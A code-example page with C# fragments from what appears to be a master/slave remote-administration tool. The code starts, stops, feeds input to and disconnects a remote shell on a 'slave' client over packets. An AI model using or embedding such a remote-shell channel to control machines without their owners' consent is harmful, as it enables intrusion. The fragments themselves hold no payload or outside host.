예제 #1
0
 private void ShellWindow_Shown(object sender, EventArgs e)
 {
     Task.Run(() =>
     {
         Thread.Sleep(500);
         SetShellStatePacket setShellState = new SetShellStatePacket(SlaveClient.UniqueId, Shell_UniqueId, ShellState.Running);
         Shell_Connection.SendPacket(setShellState);
     });
 }
        public override void HandlePacket(object sender, string packet_raw)
        {
            Packet packet = Packet.Deserialize(packet_raw);

            if (packet.Type == "Shell_IO_ChangedPacket")
            {
                Shell_IO_ChangedPacket shell_IO_changed = Shell_IO_ChangedPacket.Deserialize(packet_raw);
                if (shell_IO_changed.ChangeType == ChangeType.Input)
                {
                    ShellInstance.Write(shell_IO_changed.Change);
                }
            }
            if (packet.Type == "SetShellStatePacket")
            {
                SetShellStatePacket setShellState = SetShellStatePacket.Deserialize(packet_raw);
                if (setShellState.ShellUniqueId != ShellInstance.UniqueId)
                {
                    ShellStateSetPacket result_fail = new ShellStateSetPacket(setShellState.ClientUniqueId, setShellState.ShellUniqueId,
                                                                              setShellState.ShellState, false);
                    Connection.SendPacket(result_fail);
                    return;
                }

                switch (setShellState.ShellState)
                {
                case ShellState.Running:
                    ShellInstance.Start();
                    break;

                case ShellState.Stopped:
                    ShellInstance.Stop();
                    break;
                }

                ShellStateSetPacket result_success = new ShellStateSetPacket(setShellState.ClientUniqueId, setShellState.ShellUniqueId,
                                                                             setShellState.ShellState, true);
                Connection.SendPacket(result_success);
            }
            if (packet.Type == "DisconnectShellPacket")
            {
                DisconnectShellPacket disconnectShellPacket = DisconnectShellPacket.Deserialize(packet_raw);
                if (disconnectShellPacket.ClientUniqueId != Client.UniqueId)
                {
                    ShellDisconnectedPacket result_fail = new ShellDisconnectedPacket(Client.UniqueId, ShellInstance.UniqueId, false);
                    Connection.SendPacket(result_fail);
                    return;
                }
                if (disconnectShellPacket.ShellUniqueId != ShellInstance.UniqueId)
                {
                    ShellDisconnectedPacket result_fail = new ShellDisconnectedPacket(Client.UniqueId, ShellInstance.UniqueId, false);
                    Connection.SendPacket(result_fail);
                    return;
                }

                ShellInstance.Stop();
                ShellInstance.ShellOutputChanged         -= SlaveGlobalData.ShellOutputChangedHandler;
                SlaveGlobalData.ShellOutputChangedHandler = null;
                SlaveGlobalData.ShellInstance             = null;
                if (SlaveGlobalData.ShellListenerLoop != null)
                {
                    SlaveGlobalData.ShellListenerLoop.AbortLoop = true;
                    SlaveGlobalData.ShellListenerLoop           = null;
                }
                DisconnectPipePacket disconnectPipePacket = new DisconnectPipePacket(Client.UniqueId, PipeType.Shell);
                Client.Pipes.MainPipe.SendPacket(disconnectPipePacket);

                ShellDisconnectedPacket result_success = new ShellDisconnectedPacket(Client.UniqueId, ShellInstance.UniqueId, true);
                Connection.SendPacket(result_success);
            }
        }